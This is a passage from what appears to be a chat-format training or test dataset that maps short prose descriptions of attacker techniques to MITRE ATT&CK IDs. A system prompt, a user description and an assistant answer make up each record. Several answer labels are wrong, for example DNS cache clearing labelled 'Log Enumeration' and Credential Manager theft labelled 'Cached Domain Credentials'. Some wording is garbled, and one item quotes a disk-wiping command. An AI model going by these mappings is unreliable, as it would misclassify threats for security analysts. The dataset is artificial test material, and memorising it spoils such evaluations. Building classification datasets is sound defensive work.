                "content": "A sophisticated malware implants a WMI event subscription that monitors system boot events and executes a persistence script each time the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder gains access to a user’s OAuth refresh token stored in a configuration file and uses it to create new access tokens."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hostile actor leverages a tampered .msi file to execute a backdoor as part of the normal installation workflow."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages malicious XSLT scripts embedded in Office documents to achieve code execution on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker modifies the CSS of a corporate intranet page to display a fake login prompt for credential theft."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages NtQueueApcThread to execute shellcode via an Asynchronous Procedure Call within a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary harvests credentials from source code repositories where developers accidentally committed SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious PowerShell profile script that runs automatically when PowerShell starts, executing a payload."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script is appended to the PowerShell profile located at C:\\Users\\Public\\Documents\\WindowsPowerShell\\profile.ps1, ensuring execution on every PowerShell launch."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a PowerShell one‑liner to the network logon script to download and execute ransomware on target machines."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses stolen credentials of a privileged user to log into the corporate VPN and access internal resources."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a golden ticket by forging a domain controller's Kerberos secret key to impersonate any user in the AD environment."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The worm uses a DGA to generate domain names with incremental numeric suffixes each day."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was propagated by inserting malicious code into an automated software update package that was signed with a valid certificate."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abused legitimate code signing tools to sign a payload, enabling it to run without triggering Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro writes the harvested credentials into a hidden file named .creds in the user's home directory."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a template injection flaw to execute server‑side code that writes malicious content to web pages."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group sets up a temporary AWS S3 bucket to store stolen credentials and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages an exploit against the Windows Credential Guard bypass to obtain and download saved credentials from the victim's device."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious developer commits a backdoored serverless function to a CI/CD pipeline, which after deployment on Google Cloud Functions runs a command to create a reverse shell on each trigger."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group used password spraying techniques against a large number of TikTok accounts, trying common passwords across many users."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disguises its C2 traffic as legitimate VPN traffic to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a malicious Gradle build script that runs arbitrary commands when the project is built on the target system."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data using the BitTorrent protocol to a peer-controlled seed node."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears the DNS cache to remove traces of malicious domain lookups."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script accesses the cached domain credentials via the LsaEnumerateLogonSessions function."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing cloud services for command and control operations"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DCOM, the attacker sends RPC calls to launch malicious binaries on another computer."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group copies exfiltrated files to a remote NFS share before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a scheduled task, the threat actor runs InstallUtil to execute a payload, leveraging the system binary proxy execution vector."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary hijacks a legitimate domain's DNS records to redirect traffic to a malicious server they control."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing campaign, the payload accesses the clipboard to capture any copied URLs and transmits them to a remote endpoint."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the HKLM\\Security\\Policy\\Secrets hive to extract plaintext passwords stored by the Local Security Authority."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs the macOS AppleScript engine to open Terminal and run a series of commands."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group conducts a lateral move by exploiting an unpatched SMBv1 vulnerability on a legacy system."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a fake login portal that mimics a corporate VPN to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages cloud provider APIs to create a new IAM user with extensive permissions in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code into lsass.exe and hooks the CredRead API to capture credentials as they are retrieved."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a symbolic link from a trusted library location to a malicious .dylib, the adversary hijacks the loading process and injects malicious code into the victim’s execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the host's Docker daemon, the intruder creates an image containing a reverse shell and tags it for later use."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan copies user documents and writes them to an online text‑sharing service via HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor launches a man‑in‑the‑middle attack that hijacks the authentication flow, forcing the victim to log in to a malicious service."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder inserts additional roles into the Rancher-managed Kubernetes cluster to bypass existing access controls."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake VPN login page is sent via email; the link redirects to a malicious binary that runs when the user attempts to log in."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attackers uploaded a custom implant to the target's /var/tmp folder via a crafted HTTP POST request."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is introduced as a C# project file and compiled on the victim's machine, resulting in an obfuscated payload that bypasses static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfiguration to enforce weak key generation parameters, producing 64-bit keys for symmetric encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a Windows service with the same GUID as a legitimate driver, making it difficult to distinguish."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mavinject is utilized to proxy execution by injecting a malicious script DLL into the services.exe process, enabling persistence and lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacking group acquired an existing botnet through a darknet transaction, repurposing it for phishing link propagation."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deployed a script that called \"cmd.exe /c\" to start a PowerShell payload silently."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware registers a custom COM component and uses it to exchange messages with a background service, persisting persistence."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group inserts a backdoored stored procedure that runs a reverse shell upon execution of a specific query."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set modifies the description of its malicious process to appear as 'explorer.exe' in the task manager."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a vulnerability in the smart card driver to read memory and clone the user's authentication certificate."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool pulls cached credential data from the Windows Credential Manager to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a legitimate remote desktop protocol session to tunnel exfiltrated data out of the environment."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed stolen credentials in JSON payloads sent to a Microsoft Teams webhook to extract data from the victim network."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage legitimate developer tools like msbuild.exe to execute malicious payloads on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals query search engines for the victim's domain name combined with filetype operators to retrieve exposed PDF reports containing sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious service is installed but its Process Explorer view shows arguments identical to a known Microsoft service, masking the true purpose of the service."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups limit exfiltration bandwidth to prevent triggering anomaly-based detection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfiguration to enable a rule that forwards all employee emails to an external address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits an unpatched vulnerability in a web server’s HTTP interface to upload a web shell."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts a private key associated with a valid code‑signing certificate from a backup archive and uses it to sign tools."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use an open proxy hosted on an ISP’s infrastructure to relay phishing payloads to victim machines."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the NetAPI32 function NetUserEnum to enumerate domain accounts across the network."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged the Windows command 'cipher /w:C:' to overwrite free space, preventing file recovery."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder moves a Trojan binary to a different domain controller by leveraging the administrative share \\\\C$."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining root, the adversary changes the PAM authentication order to prioritize a compromised module that accepts any password."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets the \"Sparse File\" attribute on large log files it creates, causing them to be overlooked by conventional file integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers manipulate the Active Directory to add the attacker’s account to the Domain Admins group."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the system's command history mechanism to prevent logging of executed commands after privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool removes all entries from the network connection logs and flushes the routing table to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant deletes the partition table and clears file system structures to prevent data recovery."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a JavaScript that is URL‑encoded to conceal its true purpose."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the U+202E Right-to-Left Override control character, the threat actor disguises a PowerShell payload as a PDF document to evade detection."
            },
            {
